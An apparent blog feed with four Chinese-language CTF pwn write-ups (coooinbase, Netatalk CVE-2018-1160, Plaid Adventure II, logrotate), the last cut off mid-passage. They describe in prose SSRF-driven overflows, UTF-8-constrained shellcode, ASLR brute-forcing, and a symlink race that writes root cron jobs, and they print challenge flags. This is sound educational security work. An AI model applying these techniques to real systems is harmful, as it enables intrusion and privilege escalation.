ddaa's bloghttps://ddaa.tw/2021-05-04T15:19:00+08:00DEF CON 29 CTF Quals Pwn 149 coooinbase2021-05-04T15:19:00+08:002021-05-04T15:19:00+08:00ddaatag:ddaa.tw,2021-05-04:/defconctf_pwn_149_coooinbase.html<p>2020 一整年都沒發文 XD,去年只有打 DEF CON 初賽決賽而已,今年年初只打了 RealWorld CTF,現在比較少打 CTF,除了健康和體力不太能負荷,總覺得題目也沒有以前有趣了,大部分題目要花大量時間逆向,技術含量卻有限,常常辛苦逆向完或寫好工具,但解完這題之後就用不太上...不如把時間拿去挖 real world 的漏洞更有價值 QQ 這題在漏洞部分是比較簡單的題目,但利用這個漏洞需要發揮創意思考,如果沒有非預期的爛洞的話會是有趣的 pwn 題</p>
<hr>
<p>題目連上後會是一個信用卡付款的 web 頁面,前端 post data 送到 ruby 寫的後端處理<br>
ruby 端會先檢查一下 card number 是否格式正確,然後將 post data 轉換成 <strong>bson</strong> 格式後用 base64 編碼透過 …</p><p>2020 一整年都沒發文 XD,去年只有打 DEF CON 初賽決賽而已,今年年初只打了 RealWorld CTF,現在比較少打 CTF,除了健康和體力不太能負荷,總覺得題目也沒有以前有趣了,大部分題目要花大量時間逆向,技術含量卻有限,常常辛苦逆向完或寫好工具,但解完這題之後就用不太上...不如把時間拿去挖 real world 的漏洞更有價值 QQ 這題在漏洞部分是比較簡單的題目,但利用這個漏洞需要發揮創意思考,如果沒有非預期的爛洞的話會是有趣的 pwn 題</p>
<hr>
<p>題目連上後會是一個信用卡付款的 web 頁面,前端 post data 送到 ruby 寫的後端處理<br>
ruby 端會先檢查一下 card number 是否格式正確,然後將 post data 轉換成 <strong>bson</strong> 格式後用 base64 編碼透過 stdin 丟給 <code>x.sh</code> 執行<br>
<code>x.sh</code> 會跑 qemu arm64 kernel,kernel 再運行 userspase 的程式處理 base64 input,最後將 output 回傳給 web 顯示<br>
userspace 和 kernel 各有一把 flag,kernel 的部分是另一題 cooinbase-kernel,這篇 write-up 不會提到 kernel 部分 </p>
<p>這題的 kernel 部分不是 Linux Kernel,syscall 是自己定義的,userspace 也不是 ELF format,因此丟進 ida pro 沒辦法直接認出來<br>
需要自己標出 entry 再讓 ida pro 去解,userspace 的程式如果先看 kernel 應該可以很輕易找出來,但沒看可以更輕易找出來,因為 entry 就在 0 而已 XD<br>
接著是逆向的部分,userspace 是一個很小的 binary 叫做 <code>run</code>,沒有 library call,syscall 也跟正常 Linux Kernel 的不同,程式有自己包幾個常見 function,像是 <code>strcpy</code>、<code>memcpy</code> 之類的,有點像 IoT 上會跑的程式 </p>
<p>經過一番逆向之後可以看出程式的行為是:</p>
<ol>
<li>透過 getchar 的 syscall 跑 loop 讀 512 byte 進來再補 \0 做結尾</li>
<li>將 input 做 base64 decode,得到 raw bson</li>
<li>將 raw bson 進行初步處理成 bson object</li>
<li>從 bson object 拿到 post data 中的 <code>CVC</code>, <code>MON</code>, <code>YR</code>, <code>CC</code><ul>
<li>其中 <code>CC</code> 是透過 <code>bson_get_string</code> 取出,其他的是透過 <code>bson_get_int</code> 取出</li>
</ul>
</li>
<li>依序印出 <strong>PROCESSED CC: </strong>、<strong>$CC</strong>、<strong>\n</strong></li>
</ol>
<p>程式的漏洞在 <code>bson_get_string</code>,裡面會發生 stack overflow<br>
bson string 的格式是:<code>"\x02" + ename + "\x00" + p32(size) + data + "\x00"</code><br>
<code>bson_get_string</code> 會先取得 size,再用類似 alloca 的行為將 stack 往上拉,然後用 <code>strcpy</code> 將 data 複製到 buffer 上<br>
因為沒有檢查 size 和 data 的長度是否一致,因此再 strcpy 時會發生 overflow,可以蓋掉 ret 控制 $pc <br>
但有個問題是,bson 是由 web 端的 ruby 構造出來的,我們沒辦法直接構造出 size 和 data 不一致的 bson </p>
<p>嘗試解決這個問題時,發現送超長的 input 時 output 會多噴一次 <strong>PROCESSED CC:</strong><br>
原因是程式其實會一直重複執行直到 <code>x.sh</code> 裡面的 <code>timeout 1</code> 中止 qemu 才停止<br>
我們送的長度如果在 base64 編碼後超過 512 byte,超出的部分就會到程式下次執行才被處理<br>
所以我們可以在控制 card number 的長度,讓 card number 的後半段變成下次執行的 input,就可以用後半段構造任意 bson </p>
<p>由於 kernel 沒有實作 <strong>ASLR</strong> 和 <strong>DEP</strong> 的保護,因此接下來將 $pc 控到我們 input 的地方跑 shellcode 就可以 RCE 了<br>
...才怪,上面只是我天真的想法 = =<br>
要控 $pc 到 stack 上的時候發現 input 如果包含 <code>0x80</code> 以上的字元就沒辦法順利餵 input<br>
追蹤了一陣發現是在餵給 binary 之前 ruby 會用 regex 做檢查 card number<br>
如果 input 包含 <code>0x80</code> 以上的字元會發生 utf8 decode 的 exception,binary 從 input 拿到的只是 exception 的字串而已<br>
只要傳合法的 utf8 字串就可以了嗎 ? 但唯一能放 shellcode 的 buffer 只有 stack 上,會落在 <strong>0xf000 ~ 0x10000</strong> 之間<br>
而 <code>0xf0</code> ~ <code>0xff</code> 不可能在 utf8 的結尾出現,也就是說在 string-based 的 overflow 中我們沒辦法把 ret 蓋成 stack 上的 address </p>
<p>我在這邊卡關了好一陣子沒想法,只好請求隊友的支援 QQ 大家努力一陣子之後,幾乎在同時間發現三個可行的做法:</p>
<ol>
<li>透過 SSRF 構造任意的 bson
web 端的 ruby 是將 post form 轉送給 <code>http://#{env['HTTP_HOST']}/gen-bson"</code>,但 HTTP_HOST 是從 HTTP header 的 HOST 欄位可以控制,可以架一個 web server 直接在 /gen-bson 頁面回傳任意的 bson,連前面控制 card number 的長度都不需要 ... XD 因為不會過原本的 /gen-bson,也不會遇到 utf8 字元的問題,所以真的是超簡單蓋 ret 跳 stack 跑 shellcode 就結束了</li>
<li>透過 alloca 將 <code>strcpy</code> 的內容蓋掉原本 codebase<ul>
<li>前面有提到 0 是這個 binary 的 entry point,由於 bson string 的 size 是我們可以任意控制的,因此有機會將 alloca 後的 buffer 拉到 codebase 的位置,這樣程式下一次執行時跑到 codebase 時就會跑我們的 code</li>
<li>這個思路沒有實際嘗試,我把改掉 size 之後就沒有好好的跑到 <code>bson_get_string</code> 裡面,應該是弄壞了偽造的 bson 結構,要重新構造一下才有機會,另外 <code>strcpy</code> 寫的 shellcode 要避開 null byte 和 utf8 char 的問題,不是很好利用</li>
</ul>
</li>
<li>透過 <code>bson_get_int</code> 寫 4 byte shellcode<ul>
<li><code>bson_get_int</code> 可以讀 4 byte 到 x2 指到的位置上,而 overflow 完 x2 剛好是 bson 中 <code>CC</code> 結構的大小 (= size + 11),我們可以跳到原本程式拿出 <code>YR</code> 的地方,將 YR 的值取出當成 4 byte 的 shellcode 到 <code>size + 11</code> 的位置,下次 overflow 再跳到 <code>size + 11</code> 跑 4 byte shellcode,跳到完整 shellcode 的位置</li>
<li>由於 <code>bson_get_string</code> 已經先 parse 了 size 錯誤的 CC,因此我們需要在 CC 內部構造一個假的 bson object 讓拿完 size 之後,讓繼續爬 YR 的時候不會壞掉,細節請參考 exploit</li>
<li>size + 11 沒有對齊 4 byte,但不知道是 qemu 還是 kernel 沒有檢查要 alignment,所以直接跳過去就可以執行</li>
<li>4 byte shellcode 和 full shellcode 都要避開 invalid utf8 char</li>
</ul>
</li>
</ol>
<p>比賽中是用 SSRF 拿到 flag,後續 kernel 題就可以寫一個超過長度的 read shellcode 來拿到 kernel flag<br>
賽後試了一下透過第三個思路也是可以達成目的,但 shellcode 就比較難寫一點,要閃掉 invalid utf8 char,kernel 的部分理論上也沒問題,但就懶得寫了 XD </p>
<p>最後講一下寫 utf8 的 shellcode:</p>
<ol>
<li>透過類似 <code>add w0, w0, $imm</code> 的指令當成 <code>mov</code> 來控制 reg<ul>
<li>建議不要用 x 系列的 reg 否則會出現 invalid char</li>
<li>裡面只有 $imm 有機會出現 0x80 以上的 char,遇上時可以 add 多次來閃</li>
</ul>
</li>
<li><code>svc 0</code> 結尾會包含 0xd4,因此下一條要是 0x80 以上的 instruction<ul>
<li>可以從 <a href="https://developer.arm.com/documentation/ddi0596/2021-03/Base-Instructions/B-cond--Branch-conditionally-?lang=en">arm developer</a> 的文件中找隨便一條低位的 8 bit 可以任意控制、高位不包含 invalid char、而且不影響 shellcode 行為的指令</li>
<li><code>beq 0x0030</code> = <code>\x80\x01\x00\x54</code> 可以滿足條件</li>
</ul>
</li>
</ol>
<p>exp: <a href="https://ddaa.tw/exp/coooinbase.py">coooinbase.py</a></p>HITCON CTF 2019 Pwn 371 Netatalk2019-10-16T01:39:00+08:002019-10-16T01:39:00+08:00ddaatag:ddaa.tw,2019-10-16:/hitconctf_pwn_371_netatalk.html<p>其實不是第一年在 HITCON CTF 出題,由於有正職在身,沒有時間從頭設計題目,因此都會盡量從跟工作有關聯的方向設計題目,今年這題其實也是在去年工作時處理 Insident Response 時遇到的 case,但經過深入研究後,發現了這個 CVE 有原揭露者沒想到的 exploit 方式,是我到現在出題為止最滿意的一題,從迴響上來看也是最好的一題 XD</p>
<hr>
<p><strong>Netatalk</strong> 是一套實作蘋果系統上 AFP 協定的軟體,AFP 跟 Windows 上的 SMB 類似,是用於兩台不同電腦間需要傳輸檔案的一種 file transfer protocol,但後來隨著 Apple 也支援 SMB 後,AFP 的使用量相對減少很多,但由於用 AFP 傳輸檔案還是比 SMB 快速和簡便一些,因此還是有些人會搭配 Time Machine …</p><p>其實不是第一年在 HITCON CTF 出題,由於有正職在身,沒有時間從頭設計題目,因此都會盡量從跟工作有關聯的方向設計題目,今年這題其實也是在去年工作時處理 Insident Response 時遇到的 case,但經過深入研究後,發現了這個 CVE 有原揭露者沒想到的 exploit 方式,是我到現在出題為止最滿意的一題,從迴響上來看也是最好的一題 XD</p>
<hr>
<p><strong>Netatalk</strong> 是一套實作蘋果系統上 AFP 協定的軟體,AFP 跟 Windows 上的 SMB 類似,是用於兩台不同電腦間需要傳輸檔案的一種 file transfer protocol,但後來隨著 Apple 也支援 SMB 後,AFP 的使用量相對減少很多,但由於用 AFP 傳輸檔案還是比 SMB 快速和簡便一些,因此還是有些人會搭配 Time Machine 之類的服務進行使用</p>
<p>Netatalk 在去年的 12 月左右被爆出了一個 <code>Critical</code> 級別的 unauth RCE 漏洞,但隨著細節公開之後,研究者表示自己嘗試後發現只能在 NAS 上進行利用,詳情可以參考 tenable 的 blog</p>
<ul>
<li><a href="https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172">https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172</a></li>
<li>BTW,這篇 blog 有點標題殺人....XD 雖然這個問題在 18 年前就產生,但是在 2012 年 3.0.1 版發布之後,改動了 object 結構才變成一個 exploitable 的漏洞,在這之前應該只能造成程式邏輯錯誤而使檔案傳輸中斷</li>
</ul>
<p><img alt="netatalk.png" src="https://ddaa.tw/images/hitconctf_2019_netatalk.png"></p>
<p>只能在 NAS 上利用的原因是,現今 Linux distribution 的 compiler,預設編譯時都已經加入 <code>-pie</code> 的參數,這導致如果是 ASLR enabled 的系統上,攻擊者沒辦法事先知道記憶體的 layout,也沒辦法如 blog 提到的利用方式去進行後續的任意位置寫入</p>
<ul>
<li>由於 PIE 保護會有一定幅度影響系統的效能,目前大多數的 NAS 廠商都沒有開啟</li>
</ul>
<p>此外,攻擊者原本提到的利用方式只能繞過 auth 後執行 AFP 的檔案操作,沒辦法做到真正意義上的 RCE,但我在 HITCON CMT 2019 的 <a href="https://hackmd.io/@HITCON/rk9d0q6Nr#CVE-2018-1160-Netatalk">talk</a> 上,提出了另外利用方式,可以在同樣的漏洞上做到真正意義上,透過 <code>execve</code> 執行系統上的任意指令,達到真正意義上的 RCE</p>
<p>當時在研究這個漏洞的同時,其實就有在質疑真的在 ASLR 開啟的情況下,真的是 unexploitable 的漏洞嗎 ? 那時候簡單看了一下,overflow 使用 <code>memcpy</code>,可以做 heap 上的 partial write,可能是有機會利用的,但與當時的 talk 主題 NAS 無關,因此保留起來沒有說這件事情,藏招這次出題時再來好好研究 XD</p>
<p>首先我的想法是:「既然可以做 heap 上的 partial overwrite,那只要把 data ptr 往回指,應該就能做 CTF 常見的 heap exploit 吧,尤其現在的環境都有 tcache 好玩,可能有機會在 malloc 時搞出 main_arena 然後做進一步的利用。」</p>
<p>但環境跑起來發現原本在 NAS 上觀察的 heap exploit 不見了... XD 原本的 data ptr 被指到 mmap 分出來的區段上,沒辦法用 ptmalloc 的機制來搞事 QQ 會這樣的原因是因為 afp protocol 中有一項 <code>server quantum</code> 的設定,這個值會影響到 <code>malloc</code> 出來的 buffer 大小 ... 預設值是 0x100000 (1 mb),所以會改用 mmap 得到的空間當成 buffer,沒辦法如預期的一樣在 heap 上搞事</p>
<ul>
<li>我之前測試的 NAS 上有為了效能特調過這個值,因此會使用 <code>brk</code> 分配出的 heap 當做 buffer</li>
</ul>
<p>原本以為好像就真的不能用了 QQ 但意外觀察到每次 data ptr 指向的位置都是相同的,afpd 在處理 request 的時候是 fork 出一個 process,在收到 <code>exit</code> 的 AFP command 或著 timeout 之前,這個 process 都會保留 session 等待 client 進行檔案傳輸,相信打 CTF pwn 的人都可以馬上聯想到:</p>
<ul>
<li><code>fork => memory layout 不變 => ASLR 是假 der</code></li>
</ul>
<p>每次連上的 data ptr 不變,因此我們可以用 overflow byte-by-byte 的方式觀察程式是否 crash,來判斷說目前 data ptr 的位置是多少,再透過 mmap 與 library 的 offset 去推算其他 library 的位置,於是現在我們對漏洞的可以利用程度,從 <code>不知道能對哪裡做任意寫入</code> 變成 <code>可以對 library 的 bss 和 data 段做任意寫入</code></p>
<ul>
<li>但由於沒辦法利用此方式 leak 出 code 段的位置,因此還是沒辦法用我在 HITCON CMT 上提的方式做到 RCE</li>
</ul>
<p>至此我們就有機會寫 <code>__malloc_hook</code> 或 <code>__free_hook</code> 之類的位置來控 RIP 了,但由於這個 exploit 的程式 afpd 本身就是透過 socket 連線,不像 CTF challenge 通常會 redirect I/O 到 socket 上,也就不能簡單的跳 one gadget 來拿 shell,必須自行 dup I/O 到 socket 在拿 shell,因此我們需要能跑 shellcode 或做足夠長度的 ROP 才行</p>
<p>這邊可以達成的方式很多,我的預期解法是 overwrite ld 上的 data 段,把 <code>dl_load_lock</code> 和 <code>dl_rtld_lock_recursive</code> 的值都寫掉,這樣就可以跳 <code>setcontext</code> gadget 做 SROP</p>
<ul>
<li><code>dl_rtld_lock_recursive</code> 是一個 function ptr,<code>dl_load_lock</code> 是一個 mutex</li>
<li>程式離開時會在 dl-fini 呼叫 <code>__rtld_lock_lock_recursive(GL(dl_load_lock));</code> 來 release 程式一些資源,像是 <code>dlopen</code> 開啟過的 library</li>
</ul>
<p>但 afpd 在 SIGPIPE 時不會結束程式,還是會等到 timeout 才離開,原本會需要在下一次的 command 送 AFP protocol 的 exit 讓程式結束,才能觸發 control RIP,我原本打算留給大家來解決這個問題,但考慮到 bruteforce ASLR 時會造成許多 sessions,還是決定在 afp.conf 裡面將 timeout 改成 0 讓 afpd 立刻結束,避免題目炸裂 XD</p>
<p>最後不得不提 Tea Deliverers 的做法,雖然繞了一些遠路,但卻也是 real world exploit 常遇到的狀況,這次的漏洞能任意寫才是少見的情況 XD</p>
<blockquote>
<p>02:01 < riatre> zzoru: We overwrote GOT entry of memcpy in libatalk.so.18 with system<br>
02:02 < riatre> Then trigger that with a.... strange code path I'd say </p>
</blockquote>
<p>flag: <code>hitcon{D1d_y0u_us3_an0ther_0d4y_to_g3t_f14g?}</code></p>
<p>exploit: <a href="https://ddaa.tw/exp/netatalk.py">netatalk.py</a></p>Plaid CTF 2019 Pwn 250 Plaid Adventure II2019-04-16T03:05:00+08:002019-04-16T03:05:00+08:00ddaatag:ddaa.tw,2019-04-16:/plaidctf_pwn_250_plaid_adventure_ii.html<p>這題約結束前 10 分鐘跟 angelboy 一起寫完 exploit<br>
已經確認在 local 可以打, 結果 remote server 壞掉 = =<br>
不然應該有機會 AK 的...QQ </p>
<hr>
<h2>Overview</h2>
<p>跟去年 <a href="https://ddaa.tw/plaidctf_reverse_200_plaid_adventure.html">Plaid Adventure</a> 一樣是由 <a href="http://inform7.com/">inform 7</a> 寫成的互動式文字遊戲<br>
題目敘述說要讀取 <code>flag.glksave</code>, 但沒辦法使用 <code>restore</code> 這個指令<br>
目的還算滿明確, 要用題目中的漏洞想辦法繞開限制執行 <code>restore</code></p>
<h2>Analysis</h2>
<p>逆向的方式請參考去年的 write up, 逆完之後大致可以知道遊戲是:</p>
<ul>
<li>只有一個場景, 場景上只有 <code>machine</code> 和 <code>blackboard</code> 兩個物件</li>
<li><code>look machine</code> 可以從結果得知 <code>dial</code>, <code>slider …</code></li></ul><p>這題約結束前 10 分鐘跟 angelboy 一起寫完 exploit<br>
已經確認在 local 可以打, 結果 remote server 壞掉 = =<br>
不然應該有機會 AK 的...QQ </p>
<hr>
<h2>Overview</h2>
<p>跟去年 <a href="https://ddaa.tw/plaidctf_reverse_200_plaid_adventure.html">Plaid Adventure</a> 一樣是由 <a href="http://inform7.com/">inform 7</a> 寫成的互動式文字遊戲<br>
題目敘述說要讀取 <code>flag.glksave</code>, 但沒辦法使用 <code>restore</code> 這個指令<br>
目的還算滿明確, 要用題目中的漏洞想辦法繞開限制執行 <code>restore</code></p>
<h2>Analysis</h2>
<p>逆向的方式請參考去年的 write up, 逆完之後大致可以知道遊戲是:</p>
<ul>
<li>只有一個場景, 場景上只有 <code>machine</code> 和 <code>blackboard</code> 兩個物件</li>
<li><code>look machine</code> 可以從結果得知 <code>dial</code>, <code>slider</code>, <code>button</code> 三個物件<ul>
<li><code>set dial to $flavor</code> (<code>select $flavor</code>) 可以選擇飲料的口味<ul>
<li>一共有 18 個口味: apple, apricot, blackberry, cherry, cranberry, cola, grape, guava, lemon, lime, orange, pickle, peach, pear, pineapple, raspberry, strawberry and watermelon</li>
<li><code>set slider to $num</code> (<code>set $num</code>) 可以設定將 slider 設成 -2147483648 ~ 2147483647 之間的數字</li>
</ul>
</li>
<li><code>push button</code> 會掉一瓶飲料出來, 飲料會印上 <code>$index:$slider</code> 的 symbol<ul>
<li>背包最多只能擺 6 瓶飲料</li>
<li>不能重複購買飲料</li>
</ul>
</li>
</ul>
</li>
<li><code>drink $flavor</code> 可以把飲料喝掉, 喝完背包的空間會清出來<ul>
<li><code>pickle</code> 因為太難喝沒辦法喝掉...XD</li>
</ul>
</li>
<li><code>look blackboard</code> 會印出以下內容:<blockquote>
<p>A blackboard. On it is written:<br>
The flag will be here after restoring!</p>
</blockquote>
</li>
<li><code>(write|erase) blackboard</code> 可以在 blackboard 上寫字或清除, 最多不能超過 35 個字</li>
<li><code>restore</code>, <code>save</code> 之類的系統指令都被禁用了</li>
</ul>
<h2>Solving</h2>
<p>這題的困難點就是在逆向和找洞...<br>
經過一番波折後,發現這題的漏洞在 <code>pickle</code> 雖然沒辦法喝掉<br>
但還是會將背包飲料的數量 - 1, 因此可以突破背包 6 瓶飲料的限制<br>
飲料在印 symbol 時會存在 <code>479074_soda_sliders</code><br>
超過 6 瓶會 out of bound write, 蓋到後面 <code>479098_soda_func</code> 的內容<br>
而 <code>479098_soda_func</code> 是一個 func ptr array ... XD </p>
<p>到這邊已經可以自由控 $pc 到任意位置<br>
很開心地想說跳 <code>restore</code> 就可以結束了, 但發現可以跳 <code>save</code> 卻不能跳 <code>restore</code><br>
因為... </p>
<div class="highlight"><pre><span></span>[ routine7331_restore local0 local4 ;
@nop;
@nop;
@nop;
...
return 1;
];
</pre></div>
<p>◢▆▅▄▃ 崩╰(〒皿〒)╯潰 ▃▄▅▆◣</p>
<p>比對了 asm 確定是沒有其他的 <code>@restore</code> 指令集可以使用<br>
接下來很明確必須自行寫入 shellcode, 並跳過去執行 (glulx vm 不存在 NX 保護)<br>
原本想透過黑板的 write 指令來寫 bytecode<br>
但發現 write 指令沒辦法讀 null byte<br>
而要將 shellcode 偽造成 routine 一定得包含 null byte... orz<br>
BTW, 如果直接跳到非 routine 開頭的位置, glulx 會直接發生 exception 終止程式 </p>
<p>卡了一陣子才想到可以利用前面 <code>479074_soda_sliders</code> 來放 shellcode<br>
<code>479074_soda_sliders</code> 是一個 big endien 的 int 陣列<br>
只要重複 <code>set slider to $num</code> 和 <code>push button</code> 就可以寫入 shellcode </p>
<p>這邊原本想把去年題目的 restore bytecode 送過去<br>
但發現因為遊戲檔案格式和版本不同, 沒辦法直接參考<br>
花了一點時間弄出最新版的 <code>.ulx</code> 檔案<br>
又發現完整的 restore 長度會超過可用的空間 = =<br>
最後透過 try and error 確定只需要留以下 asm 就可以達到 restore 的功能:</p>
<div class="highlight"><pre><span></span>@callfiii routine763 1 2 0 -> local4;
@callfiii routine589 local4 2 301 -> mem450124;
@restore mem450124 -> local0;
return -1;
</pre></div>
<p>最後只要把超出背包的某瓶飲料 slider 設到放 shellcode 的位置<br>
執行 <code>drink $flavor</code> 就可以觸發 restore, 輸入 <code>flag</code> 讀取 <code>flag.glksave</code><br>
再回來看 blackboard 上的內容就有 flag 了 </p>
<p>此時就很悲劇的發現 remote server 壞掉<br>
就此跟 AK 無緣 QQ </p>
<p>不過後來修好之後, 還發現有一點小問題<br>
remote 因為 terminal 不同的關係, 觸發 <code>restore</code> 時 input buffer 是髒的<br>
不能直接輸入檔名, 要先送一些 <code>/b</code> 清掉 buffer 之後<br>
再送 <code>flag</code> (or <code>flag.glksave</code>) 才會是正確的檔名 </p>
<h2>Note</h2>
<p>其實發現 pickle 不能喝有一段時間<br>
但我竟然沒有馬上意識到漏洞有相關...Orz<br>
也沒有馬上提出來討論<br>
不然可能可以省下 2 hr 的找漏洞時間來寫 exploit<br>
絕對是戰犯無誤 QQ<br>
還好沒有錯失 DEFCON 的資格... </p>
<p>flag: <code>PCTF{pWn_4dv3ntUrE_IF_3d1ti0n}</code><br>
exploit: <a href="https://ddaa.tw/exp/plaid-adventure-ii.py">plaid-adventure-ii.py</a> </p>35C3CTF 2018 zajebiste 290 logrotate2019-01-09T20:23:00+08:002019-01-09T20:23:00+08:00ddaatag:ddaa.tw,2019-01-09:/35c3ctf_2018_zajebiste_290_logrotate.html<p>35C3 今年的題目也是超難 = =<br>
各種 browser 和 sandbox escape 題<br>
現在的 CTF 真的越來越 real world 啦<br>
BTW,<code>zajebiste</code> 的分類聽說就是 zero day 的意思 XD </p>
<hr>
<p>在星期五還在上班的時候,有人就敲我說有 <code>logrotate</code> 這題 </p>
<blockquote>
<p>有 log 題欸 你不是 log 大王嗎 </p>
</blockquote>
<p>ok, challenge accepted. = =+<br>
結果從星期五晚上開始看,一直到星期六晚上才想到作法 QQ<br>
(雖然中間去幫忙看了一下 <code>collection</code>) </p>
<p>簡單介紹一下這題的環境<br>
nc 連上通過 pow 的考驗之後<br>
會初始化一個 docker container 然後進入 chroot<br>
得到的權限會是 …</p><p>35C3 今年的題目也是超難 = =<br>
各種 browser 和 sandbox escape 題<br>
現在的 CTF 真的越來越 real world 啦<br>
BTW,<code>zajebiste</code> 的分類聽說就是 zero day 的意思 XD </p>
<hr>
<p>在星期五還在上班的時候,有人就敲我說有 <code>logrotate</code> 這題 </p>
<blockquote>
<p>有 log 題欸 你不是 log 大王嗎 </p>
</blockquote>
<p>ok, challenge accepted. = =+<br>
結果從星期五晚上開始看,一直到星期六晚上才想到作法 QQ<br>
(雖然中間去幫忙看了一下 <code>collection</code>) </p>
<p>簡單介紹一下這題的環境<br>
nc 連上通過 pow 的考驗之後<br>
會初始化一個 docker container 然後進入 chroot<br>
得到的權限會是 <code>uid=1000(user) gid=1000(user) groups=1000(user),0(root)</code><br>
要想辦法讀到只有 root 可以存取的 <code>/flag</code> </p>
<p>一開始想嘗試直接 escape chroot 的限制,不過失敗了 QQ<br>
原因應該是 debain 不允許非 root 去 ptrace 別人的 process<br>
只好認真看題目的結構<br>
題目給了一個 setuid 的 binary <code>run_cron</code><br>
允許我們以 root 的權限觸發 logrotate<br>
同時故意放了一個有問題的設定檔 <code>/etc/logrotate.d/pwnme</code> </p>
<div class="highlight"><pre><span></span>/tmp/log/pwnme.log {
daily
rotate 12
missing ok
notifempty
size 1K
}
</pre></div>
<p>嘗試自行建立 <code>/tmp/log/pwmne.log</code><br>
(<code>/tmp/log</code> 的權限必須是 700 否則會噴 error)<br>
可以成功觸發 logrotate<br>
但要如何利用呢...? </p>
<p>第一個直覺就是 symbolic link 會出問題 XD<br>
嘗試了一下...什麼時都沒發生<br>
開 debug mode 來看可以得知原因是有 symlink 做檢查 </p>
<blockquote>
<p>log /tmp/log/pwnme.log is symbolic link. Rotation of symbolic links is not allowed to avoid security issues -- skipping. </p>
</blockquote>
<div class="highlight"><pre><span></span>1125 if ((sb.st_mode & S_IFMT) == S_IFLNK) {
1126 message(MESS_DEBUG, " log %s is symbolic link. Rotation of symbolic"
1127 " links is not allowed to avoid security issues -- skipping.\n",
1128 log->files[logNum]);
1129 return 0;
1130 }
</pre></div>
<p>但顯然存在 <a href="https://cwe.mitre.org/data/definitions/367.html">TOCTOU</a> 的問題<br>
只要透過 while loop 不斷的讓 pwnme.log 在 symlink 和 normal file 之間切換<br>
就有機會 bypass 掉這個檢查<br>
但因為題目給的 logrotate 設定檔只是單純把 log 做 <code>rename</code><br>
因此完全沒有用...XDD</p>
<blockquote>
<p>ls -l<br>
total 0<br>
lrwxrwxrwx 1 user user 11 Jan 8 09:25 pwnme.log.1 -> /etc/passwd </p>
</blockquote>
<p>雖然沒有用,不過這帶給我一個思路是:<br>
<strong>logrotate 其他地方會不會也存在 TOCTOU 的問題呢 ?</strong> </p>
<p>因此就開始了 logrotate 的 code review 之路<br>
BTW,比賽環境使用的版本是 3.11.0<br>
比賽過程有稍微走錯路去確認是不是考 CVE issue<br>
後來才發現原來 CentOS 9 現行的版本就是 3.11.0 ... Orz </p>
<p>code review 完發現還有一個地方 "乍看之下" 有類似的問題<br>
在 logrotate 設定檔包含 <code>create</code> 的情況<br>
最後會呼叫 <code>createOutputFile</code> 產生目前最新的 log 檔案<br>
<code>createOutputFile</code> 會先檢查目前 output 的位置是否存在檔案<br>
如果存在會強制 rename 成 <code>filename-%Y%m%d%H.backup</code><br>
(重試兩次,兩次都失敗會放棄建立檔案)<br>
然後用 <code>fchmod</code> 將檔案改成原本 log 的權限 </p>
<p>原本看到這個想法是,一樣透過 race condition 的方式<br>
如果能在更改權限的時候觸發到,就可以把 <code>/flag</code> 的權限改成 user<br>
仔細思考之後是不可能做得到的<br>
因為這邊用的是 <code>open</code> + <code>fchmod</code> 而不是 <code>stat</code> + <code>chmod</code> </p>
<p>後來又想是不是可以在 <code>rename</code> 的過程中做到 race condition ?<br>
但據我了解 <code>rename</code> 會是由 <a href="https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/rename.c.html">syscall</a> 來完成<br>
算是 atomic 的操作,不太可能達成<br>
只好思索其他的方式 </p>
<p>最後發現問題還是出在 <code>createOutputFile</code> 身上<br>
用 verbose mode 可以得知完整的 logrotate 的流程會是:</p>
<div class="highlight"><pre><span></span>renaming /tmp/log/pwnme.log.12 to /tmp/log/pwnme.log.13 (rotatecount 12, logstart 1, i 12),
renaming /tmp/log/pwnme.log.11 to /tmp/log/pwnme.log.12 (rotatecount 12, logstart 1, i 11),
renaming /tmp/log/pwnme.log.10 to /tmp/log/pwnme.log.11 (rotatecount 12, logstart 1, i 10),
renaming /tmp/log/pwnme.log.9 to /tmp/log/pwnme.log.10 (rotatecount 12, logstart 1, i 9),
renaming /tmp/log/pwnme.log.8 to /tmp/log/pwnme.log.9 (rotatecount 12, logstart 1, i 8),
renaming /tmp/log/pwnme.log.7 to /tmp/log/pwnme.log.8 (rotatecount 12, logstart 1, i 7),
renaming /tmp/log/pwnme.log.6 to /tmp/log/pwnme.log.7 (rotatecount 12, logstart 1, i 6),
renaming /tmp/log/pwnme.log.5 to /tmp/log/pwnme.log.6 (rotatecount 12, logstart 1, i 5),
renaming /tmp/log/pwnme.log.4 to /tmp/log/pwnme.log.5 (rotatecount 12, logstart 1, i 4),
renaming /tmp/log/pwnme.log.3 to /tmp/log/pwnme.log.4 (rotatecount 12, logstart 1, i 3),
renaming /tmp/log/pwnme.log.2 to /tmp/log/pwnme.log.3 (rotatecount 12, logstart 1, i 2),
renaming /tmp/log/pwnme.log.1 to /tmp/log/pwnme.log.2 (rotatecount 12, logstart 1, i 1),
renaming /tmp/log/pwnme.log.0 to /tmp/log/pwnme.log.1 (rotatecount 12, logstart 1, i 0),
old log /tmp/log/pwnme.log.0 does not exist
renaming /tmp/log/pwnme.log to /tmp/log/pwnme.log.1
creating new /tmp/log/pwnme.log mode = 0644 uid = 1000 gid = 1000
removing old log /tmp/log/pwnme.log.13
</pre></div>
<p>在 <code>findNeedRotating</code> 執行完之後 (也就是前面檢查 folder 700 和 symlink 的地方)<br>
就不會再對 log 的儲存位置做檢查了<br>
後面會用 rename 進行 logrotate,但如前述應該沒辦法利用<br>
最後 creating 時會用 <code>open</code> 創建新的檔案<br>
在這之前沒有再進行一次路徑檢查,也存在 TOCTOU 的問題<br>
因此有機會透過 symlink race codition 的方式<br>
達成在任意路徑創造出可讀寫的 <code>pwnme.log</code> 檔案 </p>
<p>由於有 <code>run_cron</code> 的存在,我選擇建 symlink 的目標是 <code>/etc/cron.d</code><br>
<code>run_cron</code> 做的事情其實是 <code>execl("/bin/run-parts", "run-parts", "--regex", ".*", "/etc/cron.d", NULL);</code><br>
成功將 symlink 建成 <code>/etc/cron.d</code> 後<br>
透過編輯 <code>/etc/cron.d/pwnme.log</code> 就可以以 root 執行任意指令 </p>
<p>剩下的問題就是如何剛好在 call <code>open</code> 的時候達成 race condition 了<br>
一開始單純用 while loop 切換 symlink 和 folder<br>
但跑了幾萬輪之後還是沒有成功...Orz<br>
後來做了些修改,多跑了一個 while loop 重複 <code>touch /tmp/log/pwnme.log</code><br>
